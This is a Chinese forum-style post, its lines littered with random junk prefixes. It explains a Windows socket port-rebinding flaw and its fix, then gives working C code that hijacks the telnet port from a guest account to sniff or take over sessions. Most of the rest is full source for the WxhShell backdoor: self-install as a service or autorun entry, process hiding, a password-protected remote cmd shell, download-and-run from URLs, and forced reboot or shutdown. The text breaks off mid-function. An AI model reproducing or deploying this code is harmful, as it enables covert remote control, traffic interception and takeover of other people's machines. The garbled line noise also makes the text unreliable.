在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Bi{$@n&?f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
X*\J_ /Sh#_\x saddr.sin_family = AF_INET;
Ywwu0.H< d m`E!R_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
@/31IOIV]` -(=eM3o-9m bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
a0#J9O_ g
pOC`=
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ruy}/7uf 1 9CK+;b 这意味着什么?意味着可以进行如下的攻击:
f=9|b @!1x7%]G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5bgs*.s |/)${*a4n 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;4pYK@9w_ mVpMh#zw 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Sb82}$sO N=7pK&NHSG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#NryLE!/ Ug<#en 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
A nX%[W " W@I|Q - 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\r+8qC[, =7m)sxj]w 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
mUikA9u5= %Da1(bBh #include
^0\ #include
)`(p9@,V #include
g0["^P1tV #include
1 P!Yxeh DWORD WINAPI ClientThread(LPVOID lpParam);
t!_<~ int main()
(bH`x]h# {
85Otss/mM WORD wVersionRequested;
{C N~S*m DWORD ret;
1`qMj0Y_ WSADATA wsaData;
fO[+LR
'ax BOOL val;
fy@<&U5rg SOCKADDR_IN saddr;
"ozr+:#\ SOCKADDR_IN scaddr;
cmU1!2.1E int err;
_)>_{Pm SOCKET s;
kr9*,E9cv SOCKET sc;
aGtf z) int caddsize;
?FpWvyz| HANDLE mt;
zv\kPfGDK DWORD tid;
zGkS^Z=( wVersionRequested = MAKEWORD( 2, 2 );
2Ay*kmW err = WSAStartup( wVersionRequested, &wsaData );
R?"q]af~ if ( err != 0 ) {
($; 77fPR printf("error!WSAStartup failed!\n");
BMG3|N^ return -1;
P"IPcT%Ob% }
Kzm+GW3o[ saddr.sin_family = AF_INET;
%4,O 2\0?& 2q=AEv/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
qzKdQ&vO /-_h1.! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
xy/`ZS2WPq saddr.sin_port = htons(23);
K<SyC54 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}Mp:JPH&S4 {
'$ => printf("error!socket failed!\n");
:OhHb#D return -1;
#~2%) }
4C61GB?Vy val = TRUE;
j7$e28|_n //SO_REUSEADDR选项就是可以实现端口重绑定的
/v1Q4mq if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
75f"'nJ) {
m.#
VYN`+A printf("error!setsockopt failed!\n");
P2BWuhF return -1;
(:TjoXXiY }
%et }A93 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
(|:M&Cna] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"U>JM@0DNm //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
|ef7bKU8 f_jo+z{-ik if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
AN8`7F1 {
;c-(ObSm ret=GetLastError();
xW)2<m6C& printf("error!bind failed!\n");
D[aCsaR return -1;
~?4PBq }
U@_dm/;0& listen(s,2);
,
pDnRRJ! while(1)
3G,Oba[$< {
42_`+Vt]d7 caddsize = sizeof(scaddr);
ov`h //接受连接请求
Z0x ar]4V sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
w28o}$b` if(sc!=INVALID_SOCKET)
p4.wh|n {
#^lL5= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
J*yf2&lI5 if(mt==NULL)
H[s(e56z {
AK,J 7 printf("Thread Creat Failed!\n");
8;b(0^ break;
$UMFNjL
}
tvkb~ }
6}gls}[0{e CloseHandle(mt);
Y}t \4 di }
iEVb"w059 closesocket(s);
9_# >aOqL WSACleanup();
oX#Q<2z* return 0;
SN9kFFIPb= }
9TgIB DWORD WINAPI ClientThread(LPVOID lpParam)
wxR,OR {
5gb|w\N> SOCKET ss = (SOCKET)lpParam;
)IP,;< SOCKET sc;
r@72|:, unsigned char buf[4096];
Ttu2 skcv SOCKADDR_IN saddr;
'-r).Xk long num;
(|[2J3ZET DWORD val;
iqC|G/ DWORD ret;
^!<U_;+ //如果是隐藏端口应用的话,可以在此处加一些判断
:By?O"LQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
a=1NED' saddr.sin_family = AF_INET;
AYt%`Y.! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8ZM?)#`@{ saddr.sin_port = htons(23);
;+e}aER&9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%7"q"A r[ {
\a 5U8shc printf("error!socket failed!\n");
g-Mj.owu= return -1;
wF
IegC( }
;9[fonk val = 100;
KX76UW if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@KWb+?_H{< {
LIS)(X<]? ret = GetLastError();
Vr )<\h return -1;
cGtO
+DE }
2"0es40;0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
OP~HdocB {
J@^8ko ret = GetLastError();
Z,RzN5eN return -1;
sR(9IW- }
1_o],?Q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
T?:Rdo!:u {
`s"'r ! printf("error!socket connect failed!\n");
a;rdQ> closesocket(sc);
UM!ENI| closesocket(ss);
y-T| # return -1;
||T2~Q*:y }
Qt iDTr while(1)
1QqYQafA {
ks3`3q 7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
o4`hY/<t //如果是嗅探内容的话,可以再此处进行内容分析和记录
@Py/K / //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
bBu,#Mc num = recv(ss,buf,4096,0);
Y&[1`:-~- if(num>0)
s8QMewU send(sc,buf,num,0);
yW+yg{Gg: else if(num==0)
wmk
*h- break;
3Vsc 9B"w num = recv(sc,buf,4096,0);
b_,|>U if(num>0)
BHd&yIyI send(ss,buf,num,0);
f_wvZ& else if(num==0)
YsG%6&zEq break;
M^MdRu }
;6gDV`Twy closesocket(ss);
.clP#r{U closesocket(sc);
kUq=5Y `D return 0 ;
nnCGg+l
}
ie;]/va 3j,Q`+l/6d F
;{n"3< ==========================================================
H70LhN _ 6O\W%it 下边附上一个代码,,WXhSHELL
L>MLi3{ -c(F 1l ==========================================================
4S,`bnmB (H)2s Y #include "stdafx.h"
zBo1P(kek i7]4W #include <stdio.h>
z8{a(nK P #include <string.h>
J+[_Wd #include <windows.h>
L~_9_9c #include <winsock2.h>
Z&ZP"P4 #include <winsvc.h>
^9^WuSq #include <urlmon.h>
aT_&x@x dOqOw M.y #pragma comment (lib, "Ws2_32.lib")
I'PeN0T
f #pragma comment (lib, "urlmon.lib")
8'~[pMn` PH `9MXh #define MAX_USER 100 // 最大客户端连接数
!g Z67 #define BUF_SOCK 200 // sock buffer
@b"t]#V(E #define KEY_BUFF 255 // 输入 buffer
}MRd@ 0-?! O_$m!5ug #define REBOOT 0 // 重启
ElS 9?Q+ #define SHUTDOWN 1 // 关机
cj+ FRG~u 5Ycco,x #define DEF_PORT 5000 // 监听端口
*&?c(JU;< MxWy*|J} #define REG_LEN 16 // 注册表键长度
kHXL8k#T #define SVC_LEN 80 // NT服务名长度
<.pU,T/ #Xhdn\7 // 从dll定义API
b|cyjDMAA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
'6Ay&A3N] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
qP{/[uj[K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
i-bJS6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
M>&%(4K /3eKN // wxhshell配置信息
V2$h8\a struct WSCFG {
V+Cwzc^j int ws_port; // 监听端口
/J04^6 char ws_passstr[REG_LEN]; // 口令
BDVHol*g int ws_autoins; // 安装标记, 1=yes 0=no
,oaw0Vw char ws_regname[REG_LEN]; // 注册表键名
,Vh.T&X5 char ws_svcname[REG_LEN]; // 服务名
>y.%xK char ws_svcdisp[SVC_LEN]; // 服务显示名
0GB:GBhZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
b8LoIY* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
jov:]Bic int ws_downexe; // 下载执行标记, 1=yes 0=no
b7 !Qn} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Y|8:;u' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
'rMN=1:iu" Lg~B'd8m };
w4W_iaU pX&pLaF // default Wxhshell configuration
$-#Yl&?z9 struct WSCFG wscfg={DEF_PORT,
p3]_}Y
D[# "xuhuanlingzhe",
bHg,1y)UC 1,
OR}c)|1 "Wxhshell",
~=8uN< "Wxhshell",
f>piHh? "WxhShell Service",
kqce[hgs< "Wrsky Windows CmdShell Service",
w"SoeU "Please Input Your Password: ",
`}BF${vF 1,
Kv.>Vf.T}_ "
http://www.wrsky.com/wxhshell.exe",
.C2TQ:B, . "Wxhshell.exe"
QmLF[\Oo_ };
A,%C,*)Cg NZ/yBOD( // 消息定义模块
Ix(?fO#uNF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
aYuD>rD char *msg_ws_prompt="\n\r? for help\n\r#>";
io#&o;M< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
OE4+GI.r- char *msg_ws_ext="\n\rExit.";
$/=nU*pd char *msg_ws_end="\n\rQuit.";
5B&;uY char *msg_ws_boot="\n\rReboot...";
,WvY$_#xW% char *msg_ws_poff="\n\rShutdown...";
K4]g[z char *msg_ws_down="\n\rSave to ";
yU8{i&w4 \3'9Uz,OC char *msg_ws_err="\n\rErr!";
L0&RvI# char *msg_ws_ok="\n\rOK!";
qTAc[Ko ]da^xWK char ExeFile[MAX_PATH];
z]2]XTmWs int nUser = 0;
94 e):
jS HANDLE handles[MAX_USER];
[5uRS}! int OsIsNt;
(y?ITz9 "TUe%o SERVICE_STATUS serviceStatus;
e.@uhB. SERVICE_STATUS_HANDLE hServiceStatusHandle;
I! > \#K 9*E7}b, // 函数声明
LwhyE:1 int Install(void);
UK1_0tp]x int Uninstall(void);
!'j?.F$} int DownloadFile(char *sURL, SOCKET wsh);
NvHJ3> "% int Boot(int flag);
'0\@Mc U] void HideProc(void);
0TmR/uUT int GetOsVer(void);
5Q 'i2*j int Wxhshell(SOCKET wsl);
^':!1 void TalkWithClient(void *cs);
6gT5O]]#o int CmdShell(SOCKET sock);
+=]!P# int StartFromService(void);
5w\fSY int StartWxhshell(LPSTR lpCmdLine);
PH*\AZJCl ?UK|>9y}Z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
z81esXl VOID WINAPI NTServiceHandler( DWORD fdwControl );
GEEW?8 F[4;Xq // 数据结构和表定义
bu=?N SERVICE_TABLE_ENTRY DispatchTable[] =
rz"txN {
8[|UgI,>z {wscfg.ws_svcname, NTServiceMain},
@ JvPx 0 {NULL, NULL}
H*bs31i{ };
*loOiM\5a fZxIY, // 自我安装
P
i Fm| int Install(void)
<H0R&l\ {
_{Sm k[ char svExeFile[MAX_PATH];
(ewe"N+ HKEY key;
k^ YO%_ strcpy(svExeFile,ExeFile);
.<z!3O&L {8R"O{ // 如果是win9x系统,修改注册表设为自启动
? tfT8$ if(!OsIsNt) {
(ZL sB{r^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@]qBF]6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wHIj<"2 RegCloseKey(key);
=CL}
$_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Y=` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/B5-Fx7j3 RegCloseKey(key);
11|Rdd+} return 0;
?=VOD #) }
i/b'4o=8 }
be e5 }
.>wv\i[p else {
j
F-v%? tTN?r 8 // 如果是NT以上系统,安装为系统服务
);*YQmdx' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
^1Xt]T`e if (schSCManager!=0)
P/JK $nb {
p'sc0@}_O SC_HANDLE schService = CreateService
# wc \T (
*WE1;msr schSCManager,
=<@\,xN>C
wscfg.ws_svcname,
)RYG% wscfg.ws_svcdisp,
'!P"xBVAu SERVICE_ALL_ACCESS,
.)|a2d ~F SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-
}!H3]tr SERVICE_AUTO_START,
83cW=?UgA SERVICE_ERROR_NORMAL,
aZKOY svExeFile,
+,50qN:%[ NULL,
WZ!WxX>zO NULL,
cL8#S>>u. NULL,
5efxEt>U NULL,
7ZUiY NULL
~|wos-nM );
XJ!(F#zc if (schService!=0)
7([h4bg{ {
M[~{Vd CloseServiceHandle(schService);
s7r9,8$ CloseServiceHandle(schSCManager);
>QHo@Zqj( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
n:U>Fj>q strcat(svExeFile,wscfg.ws_svcname);
wA`"\MWm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
==/n(LBD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?zq+jLyo RegCloseKey(key);
Ufo>|A6;$ return 0;
IMQ]1uq0$ }
u)Q;8$` }
XE}H 3/2 CloseServiceHandle(schSCManager);
xx*2?i }
+*&cz }
gQ~5M'# P&*sB%B return 1;
1Q}mf !Y }
,J mbqOV?! ^TXf sQs // 自我卸载
j2h[70fWC int Uninstall(void)
7.<^j[? {
K:yr-#(P/ HKEY key;
lf>nbvp ;52'}%5 if(!OsIsNt) {
lS{r=y_0. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.g\6g~n RegDeleteValue(key,wscfg.ws_regname);
Gie@JX RegCloseKey(key);
(L6Cy%KgV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f?Bj _z RegDeleteValue(key,wscfg.ws_regname);
ED![^= RegCloseKey(key);
eIPG#A return 0;
a0Oe:]mo\ }
,<ya@Fi{ }
N4^5rrkL }
#y"=Cz=1u7 else {
N:+
taz- >tRHNB_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Kf7WcJ4b if (schSCManager!=0)
ro| vh\y {
?~ULIO' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5K56!*Y if (schService!=0)
B(HT.%r^A {
]j.k?P$U} if(DeleteService(schService)!=0) {
e (\I_ CloseServiceHandle(schService);
eS!C3xC;J] CloseServiceHandle(schSCManager);
B0mLI%B return 0;
*FgJ|y6gk }
*:_~Nn9_R; CloseServiceHandle(schService);
EO"C8z'al }
9zKBO* p` CloseServiceHandle(schSCManager);
cwtD@KC[B }
XQ;I,\m }
!Rw&DFU ^)\+l%M return 1;
oh}^?p }
-l*A
C B}BQd // 从指定url下载文件
K84&sSi int DownloadFile(char *sURL, SOCKET wsh)
OeTu?d&N {
Enj_tJs HRESULT hr;
|XcH]7Ai" char seps[]= "/";
+l\<? char *token;
IcoowZZ char *file;
q.oLmX char myURL[MAX_PATH];
c4] u&tvjJ char myFILE[MAX_PATH];
J|j;g!fK E$S`6+x`:a strcpy(myURL,sURL);
#EwK"S~ token=strtok(myURL,seps);
q Z\L while(token!=NULL)
9O >z4o {
5+L8\V9; file=token;
#<#%>Y^ token=strtok(NULL,seps);
P4%>k6X }
_Y#Bm/* M_&4]\PkCy GetCurrentDirectory(MAX_PATH,myFILE);
n6cq\@~A strcat(myFILE, "\\");
ZLJNw0!=|t strcat(myFILE, file);
5P\N"Yjx' send(wsh,myFILE,strlen(myFILE),0);
tp+=0k2i send(wsh,"...",3,0);
|Ylg$?,9* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
on50+)uN if(hr==S_OK)
*gSO&O= return 0;
"^"'uO$ else
uGCtLA+sL return 1;
_80ns&q \3j)>u,r }
o*;2mFP ]wf|PU~nr // 系统电源模块
)k~1, int Boot(int flag)
>)sqh ~P {
?Ccw4]YO,= HANDLE hToken;
8r^j P.V TOKEN_PRIVILEGES tkp;
u*k*yWdr LaT8l?q q if(OsIsNt) {
#NMJZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
w`-$-4i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:p$EiR tkp.PrivilegeCount = 1;
j`Nh7+qs tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
qm}\?_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<4$YO-:E if(flag==REBOOT) {
v,*Q]r0m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
G{O\)gf return 0;
PC0HH }
##2`5i-x else {
A?'
H[2]w" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#~*XDWvIS~ return 0;
8.-S$^hj~6 }
g~|y$T }
QA! #s\ else {
:r-.r"[m- if(flag==REBOOT) {
G V=OKf# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*bU% @O return 0;
LhZZc`|7t }
+/(|?7i@ else {
k_BSY=$e*D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
OMi02tSm return 0;
J$#D:KaU:N }
f!EOYowW }
>^;(c4C MN\i-vAL8 return 1;
_Ws#UL+Nq }
oFb\TiLu C)U #T) // win9x进程隐藏模块
!2#\| NJk void HideProc(void)
7
TmK {
@|E;}:?u r)c+".0d^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
IL2e6b if ( hKernel != NULL )
XNKtL]U}$ {
u/;_?zI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7KeXWW/ d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ZMP?'0h= FreeLibrary(hKernel);
j/~VP2R` }
3,%nkW H]VsOr return;
8I<_w4fC }
[y_yPOv ;tXB46 // 获取操作系统版本
0&.LBv8 int GetOsVer(void)
'_k >*trV {
BN_!Y)Fl OSVERSIONINFO winfo;
G~JCgi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*iPs4Es- GetVersionEx(&winfo);
{bW"~_6} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ZYrKG+fkl return 1;
X77A; US else
FP.(E9 return 0;
Lr K9F^c }
q2[+-B)m m}; ~JMo] // 客户端句柄模块
l0eANB%Y=@ int Wxhshell(SOCKET wsl)
j7QBU {
|3s.;wK SOCKET wsh;
V;M3z9xd struct sockaddr_in client;
OJnPP> DWORD myID;
rd|@*^k sZ0g99eX while(nUser<MAX_USER)
zfk'>_' {
i)A`Vpn int nSize=sizeof(client);
j4.Qvj >:4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
XMjI}SPG if(wsh==INVALID_SOCKET) return 1;
P&qy.0 i n[n Aa handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
dL1~]Z
y
if(handles[nUser]==0)
'e+-,CGdY\ closesocket(wsh);
daaga}]d else
sV9{4T~#| nUser++;
O JZ!|J8? }
7AZ5%o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
f 3nnXE" 31
KDeFg return 0;
z6GL,wo# }
fJSV)\e0 I v 80,hW // 关闭 socket
17MN8SfQ void CloseIt(SOCKET wsh)
6/p]jN {
(hD X4;4 closesocket(wsh);
jgZX~D nUser--;
R 47I\{ ExitThread(0);
~m,mvRS }
Mt7X<?GZm $G^H7|PzdC // 客户端请求句柄
yKX:Z4I/ void TalkWithClient(void *cs)
$=;bccIob {
VfJX<e=k 4nVO.Ud0$X SOCKET wsh=(SOCKET)cs;
_BeX7 char pwd[SVC_LEN];
#=)?s
8T char cmd[KEY_BUFF];
}[hDg6i char chr[1];
Px^<2Q%Fs int i,j;
]8q%bsl+ uMq\];7I while (nUser < MAX_USER) {
.q|xMS}4 7@e[:>e if(wscfg.ws_passstr) {
j3V"d 3) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|?pYJkrYO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2yVGEp^ //ZeroMemory(pwd,KEY_BUFF);
R, (+NT$ i=0;
$)i"[ while(i<SVC_LEN) {
;Kq<',u~ +(=[M]5#n // 设置超时
[3bwbfHhi fd_set FdRead;
^HU=E@ struct timeval TimeOut;
y+~Aw"J} FD_ZERO(&FdRead);
% 'L= FD_SET(wsh,&FdRead);
s3fGX|; TimeOut.tv_sec=8;
@)M.u3{\ TimeOut.tv_usec=0;
X~/9Vd g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
y|2g"J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8mQd*GGu1 9BgQoK@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
5D q{"@E pwd
=chr[0]; s#8{:ko
if(chr[0]==0xd || chr[0]==0xa) { jak|LOp
pwd=0; ='l6&3X
break; EWvid4QEi
} fe]T9EDA
i++; f<xt3
} @rDv
(W
~m"M#1,ln3
// 如果是非法用户,关闭 socket Y_ u7
0@`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tZ6v@W
} \?Oa}&k$F8
DyV[+P
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >5YYij5Aj
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OTr!?xi
@x\gk5
while(1) { r'}k`A5>
Wug ?CFX+T
ZeroMemory(cmd,KEY_BUFF); ]{ l
O
l[OQo|_
// 自动支持客户端 telnet标准 [_z2z6
j=0; Zi '8~iEH
while(j<KEY_BUFF) { E9NGdp&-Ah
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8*X
L19N
cmd[j]=chr[0]; |x~ei_x7.p
if(chr[0]==0xa || chr[0]==0xd) { jZgnt{
cmd[j]=0; ny;)+v?mN\
break; ZJ'H y5?
} ' [M2Q"X
j++; 5L'@WB|{4u
} zj0pP{y
AI`1N%Owi
// 下载文件 v6(l#,
if(strstr(cmd,"http://")) { {d5ur@G1
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +=F);;!
if(DownloadFile(cmd,wsh)) ;
yC`5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eFI9S.6
else 5+PBS)pJ]%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MkIO0&0O
} =(uy':Dbn*
else { +(hwe
jyC
j;c^pLUP
switch(cmd[0]) { [ Sa
C
w\[*_wQp
// 帮助 M>l+[U
case '?': { "h|0]y^2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |Szr=[
break; 9S`b7U=P
} F973U
// 安装 X_yU"U
case 'i': { Jywz27j
if(Install()) Z#t.wWSq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /-9+(
else {}2p1-(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X "r$,~
break; J:!Gf^/)
} Ny<G2!W
// 卸载 833t0Ml1A/
case 'r': { *y$r y]
if(Uninstall()) ho=]'MS|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tUnVdh6L.B
else _^A
NJ7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !S}Au Mw
break; {Z;GNMO:
} =1?yS3
// 显示 wxhshell 所在路径 #.xTAvD
case 'p': { smS0Rk
char svExeFile[MAX_PATH]; )}lV41u
strcpy(svExeFile,"\n\r"); jv^L~<u
strcat(svExeFile,ExeFile); F'Vl\qPt
send(wsh,svExeFile,strlen(svExeFile),0); H( m+rk
break; ''YjeX
} %P6!vx:&^b
// 重启 CT`X~y10
case 'b': { b
DvbM
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I(S6DkU
if(Boot(REBOOT)) tfQq3 #
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m^+~pC5
else { QyQ8M1m
closesocket(wsh); +.uk#K0o
ExitThread(0); tYa*%|!v
} p$<qT^]&
break; }A^,y
} Puh&F< B
// 关机 K>eG5tt
case 'd': { n-Y'LK40Os
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z$b!J$A1
if(Boot(SHUTDOWN)) Z;s-t\C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z w9r0bG
else { :Aw VeX@
closesocket(wsh); *@^0xz{\z
ExitThread(0); VV0$L=mo
} [l:.Q?? )|
break; .|-y+9IP
} ]={Hq9d@
// 获取shell 2B;QS\e"
case 's': { >d\I*"C+d
CmdShell(wsh); PMcyQ2R->
closesocket(wsh); IgL8u
ExitThread(0); NBX/V^
break; dPId=
w)
} 5$X{{j2
// 退出 a$m?if=
case 'x': { {{\HU0g>&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =UY@,*q:c
CloseIt(wsh); }p~%GA.=98
break; '>BHwc
} jYv
!}
// 离开 U^D7T|P$V
case 'q': { , fn=%tiUk
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9 pn1d.
closesocket(wsh); 3]acfCacC
WSACleanup(); ojri~erJE?
exit(1); &0raa
break; -5K/ cK
} OgX."pK
} RiklwR#~r/
} iKwVYL
(!s[~O 6
// 提示信息 i{2KMa{K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vq}V0-
<
} 7+"X^$
} .kVga+la?
?jbam!A
return; @u^Ib33
} sp%7iNs
bHCd|4e,2
// shell模块句柄 >qCT#TY
int CmdShell(SOCKET sock) B}W^s;h
{ 0^=S:~G
STARTUPINFO si; DWI!\lK
ZeroMemory(&si,sizeof(si)); &N EzKf
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !s$fqn
6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (w*$~p
PROCESS_INFORMATION ProcessInfo; <FP-]R)
char cmdline[]="cmd"; 5Ai
Yx}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z,)Fvs4U.
return 0; wgrYZ^]
} *M{1RMc
B~^\jRd"
// 自身启动模式 ]n+:lsiV
int StartFromService(void) z"<PveVo
{ IAfYlS#<yD
typedef struct X_h+\
7N>
{ ;RU)Q)a)
DWORD ExitStatus; \sk,3b-&'
DWORD PebBaseAddress; X@arUs7
